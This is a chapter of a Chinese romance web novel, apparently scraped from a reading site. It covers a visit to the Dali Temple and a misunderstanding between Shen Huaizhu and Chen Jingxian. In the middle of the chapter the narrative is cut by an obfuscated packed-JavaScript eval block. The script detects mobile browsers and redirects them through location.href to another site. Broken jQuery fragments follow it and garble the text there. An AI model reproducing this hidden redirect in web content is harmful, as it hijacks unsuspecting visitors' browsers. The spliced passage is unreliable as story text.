33. 武陵色(七)

作品:《明珠在怀

    短暂的措手不及后,陆清执从容地问道,“你是来找人的?”


    沈怀珠说:“对,耽误不了多久,还请裴大人准允。”


    两个守卫听得云来雾去,不明所以地望着女子,左边胖胖的守卫张口,小声提醒她,“这位不是裴……”


    扶影惶急地跑出来,截住他的话头,“这位不是能——陪你在这儿说话的人!”


    圆过去刚才差点就露的馅儿,扶影急忙忙地劝,“沈姑娘,大理寺公务繁忙,这会儿陆主簿应当在整理卷宗,要不你先进来稍等片刻?”


    转头使眼色,“大人,可以吧?”


    陆清执十分配合,“可以,进来吧。”


    扶影在前引路,沈怀珠紧随其后。她不动声色地打量四周,跨过大门,是个宽敞的院子,布局对称地竖着两头石雕獬豸。正对着大门的是审案主殿,两边的廊庑大门皆开,隐约能瞧见穿着暗紫色圆领衫的人正抱着卷宗来回奔走。


    陆清执走在最前面,偶有忙碌的寺丞经过,刚要打招呼,就被他胸前藏着,不停拒绝的摆手按了回去。事态紧急,他脚底生风,一溜烟儿的功夫就消失在廊下。


    怕节外生枝,扶影急着把人带到会客厅,先安顿好再说。


    沈怀珠盯着他的背影,察觉出几分奇怪,他们似乎因为她来大理寺,变得很恐慌。联想刚才守卫青一阵紫一阵的表情,其中一定有猫腻。


    会客厅在主殿后,最右边的连廊处。安顿好人,扶影尴尬地挠了挠头,“沈姑娘,你现在这儿等等,我这就去找陆主簿。”


    沈怀珠曲腰坐在椅子上,点点头,“好,辛苦了。”


    扶影关上门,飞快消失。


    气喘吁吁奔至讼堂,猛地灌了一口茶,他大喊道,“出事了,出事了!”


    裴容青眼皮子都没抬,翻阅手里的卷宗,“你把人安置在哪儿了?”


    扶影说:“会客厅。”


    “公子,你是没瞧见刚才的场面,差一点点就露馅了。多亏我机智聪明,赶紧圆了回来。门口那俩守卫太笨,该让他们去刑讯室看门。”


    “哎,陆主簿呢?他怎么不在这儿?”


    扶影叽里咕噜说了一大串,才发现陆清执不在讼堂。


    裴容青问道,“她来做什么?”


    “她没说。不过看起来挺急的,都被雨淋了。”


    “没打伞?”


    “打了,拿把伞应该有破洞吧,我没细看。”扶影回想失败,瞧着自家公子丝毫没有要起身的意思,好奇地道,“您不去见沈姑娘?”


    裴容青翻阅卷宗的手停住,抬眼冷冷瞥了过来。


    扶影当即闭嘴,表露再也不说话的态度。


    目光挪移,敞开的房门,清晰地看到雨水顺着廊檐坠地,溅起水花。一柄油纸伞静静地靠在门边,素净的伞面没有任何花纹,是她喜欢的风格。


    这是她随身携带的,唯一一把油纸伞。


    被他拿了来。


    然而想起那个儒生,他又生出几分不快。素未谋面的书生帮她一次,她便感恩戴德,和颜悦色的不行。反观他几次出手相救,却没换来半个好脸色。


    他舍命的举动,还比不上那个书生几句谎话?


    越想越来气,裴容青索性扔下案宗,预备休息片刻。谁知下一秒,就见陆清执大惊失色地冲进来,活似白日见鬼般,“完了完了完了,你完了。”


    “?”裴容青气得失语,一个比一个不稳重。


    陆清执:“你表妹来了。”


    “来就来……她在哪儿?”突然反应过来,裴容青忙问道。


    “我看见的时候,半只脚已经踏进会客厅了。”陆清执深表同情,上前拍了拍他的肩膀,“你可以祈祷,现在劈下一道惊雷,将会客厅划出一道银河,或许有救。”


    裴容青头都大了。


    裴容青盯着陆清执,“你去。”


    陆清执满头问号,“那是你表妹,我去做什么?”


    裴容青:“我们这些人里,她只给你好脸色。”


    “……”陆清执讪讪地笑,“错觉,这都是你的错觉。”


    裴容青:“快去!你又不是不了解静娴的性子,若她知道有女子来找你,你猜陆首辅会不会再找你深谈?”


    讼堂方寸大乱,会客厅亦是暗流涌动。


    沈怀珠一盏茶没喝完,就听见门外响起脚步声。她站起身子,捋了捋微皱裙摆,暗含期待地望向即将推开的房门。


    下一秒,推门进来的却是位穿着鹅黄短衫的少女。


    少女率先开口,“你是谁?”


    沈怀珠:“姑娘又是谁?”


    抿了抿嘴,少女警惕地道,“陈静娴,陆清执的好友。”


    “陆清执?”沈怀珠疑惑,转念想到,她似乎还不知道陆三的全名,难道这是他的名字?


    陈静娴一脸不信,“怎么?你不是来找他的?”


    “我来找谁,好像和姑娘无关。”


    “好强硬的口气。”陈静娴语气不善地道,“偏你今日撞见了我,找谁都行,陆清执却没门儿。”


    陈静娴气的不轻,“能带你混进大理寺,陆清执真是疯了。”


    沈怀珠倒是想问,“姑娘能来,为何我不能?”


    听了这句话,陈静娴目瞪口呆一瞬,旋即涨红了脸,在她身上打量了一番,“你就是不能。”


    “若你对他还有几分真心,就该知道官场最忌讳什么,他的出身本来就比别人低,能入大理寺做主簿已是极不易,为了他的官声,你还是速速离去吧。”


    沈怀珠哑然。


    官场最忌讳什么她不知道,但她清楚自己的身份。官场沉浮,陆三和她扯上关系的确不是什么好事。眼前的少女张扬明媚,落落大方,一眼看得出非富即贵。


    张口闭口官场,应当是高官之女。


    当初陆三自称失忆,她本是不信。然而相处日久,她不是没试探过,丝毫没有破绽。几次把脉,也确有淤堵之状,失忆一说未必为假。


    回想起他清醒后,脱口而出的“夫人”,她心头不解的猜忌彻底有了答案。陆三口中的夫人,也许就是陈静娴。


    想到这儿,沈怀珠心间弥漫出一缕酸涩。


    “姑娘稍坐。”挣扎起身,沈怀珠告辞,往门外走。不料还没跨出门槛,有人迎面而来,生生将她堵了回去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478290|167411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “扶影?”沈怀珠讶异道。


    扶影恹恹地应了一声,笑得很苦命,“是我。”


    “陆清执呢?怎么没来?”陈静娴问道。


    “两位姑娘,我来便是为这件事。刚才递上来一桩很棘手的案子,少卿大人和陆主簿忙得分身乏术,实在脱不开身,要不二位先回去,改日再来?”


    沈怀珠敏锐捕捉到他的为难,抬眼瞟了陈静娴一眼,道,“好,还请你转告他,雨天潮湿,对伤口不好,要记得包扎。”


    放下药,沈怀珠匆匆离开。


    陈静娴却没有要走的意思,“他受伤了?怎么受的伤?严重吗?”


    扶影在心里默默流泪,好在走了一位,剩下的就好办多了。


    “二姑娘,陆主簿让我传话,说他今日繁忙,不得空。”


    陈静娴:“这话骗骗刚才的人便罢了,还想蒙我?”


    说着,她就推开扶影,径直往讼堂方向冲去。碍着她的身份,扶影不敢太强硬的拦,只好眼睁睁看着她进了讼堂。


    “我尽力了。”扶影委屈地撇了撇嘴。


    周静娴:“不怪扶影,是我非要来,他拦也拦不住。”


    裴容青摆了摆手,命扶影退下。


    “你来干什么?”


    周静娴哼了一声,“总之不是来找你的。”


    裴容青:“大理寺是办案的地方,岂容你整日擅闯?若有人拿住这点,上书弹劾陆首辅,你后悔都来不及。”


    听到后半句,陈静娴直发笑,讥讽道,“天下有谁比得上你裴大人刚正不阿,公私分明?真要上书弹劾,你裴大人不得首当其冲?”


    裴容青脸色微变,却没说话。


    陆清执适时从屏风后走出来,打圆场,“哎哎哎,陈二姑娘,你找我有事?”


    瞧见他的身影,陈静娴陡然温顺许多,“听说你受伤了,让我看看严不严重,要不要叫太医?”


    “我没受伤啊。”陆清执被问得有点懵。


    “那今日来寻你那位姑娘为何说让你及时包扎伤口?”


    听了这句,陆清执回过味来,不经意地瞟了沉默不语的人一眼。高高摞起的卷宗后,显露着一只微微渗血的手。


    他挑了挑眉,“她应该记错人了。”


    ……


    费了半天口舌,好说歹说,终于把小祖宗送走,陆清执靠躺在太师椅上,生无可恋地长舒了一口气。


    “我都这么风流成性,拈花惹草了,你舅舅怎么还放心她来找我?”


    “自出生静娴就备受宠爱,还特意随了母姓。本来就是在娇养里长大的,好容易有了一桩心事,陆首辅自然愿意帮女儿实现愿望。”


    “别人不知道,可你该知道,她越靠近我就越危险,甚至可能搭上性命。”陆清执正色道,“陈二姑娘这么天真烂漫,应该过平安顺遂的日子。”


    裴容青:“你同我说有什么用?她又不听我的。”


    “要不然,你去找你舅舅提几句?”


    “舅舅”二字落入耳朵,裴容青眼睫轻颤,竭力掩饰内心波动,迫使自己声音如常。


    “我不配再叫他舅舅,更没资格再登陆家的门。”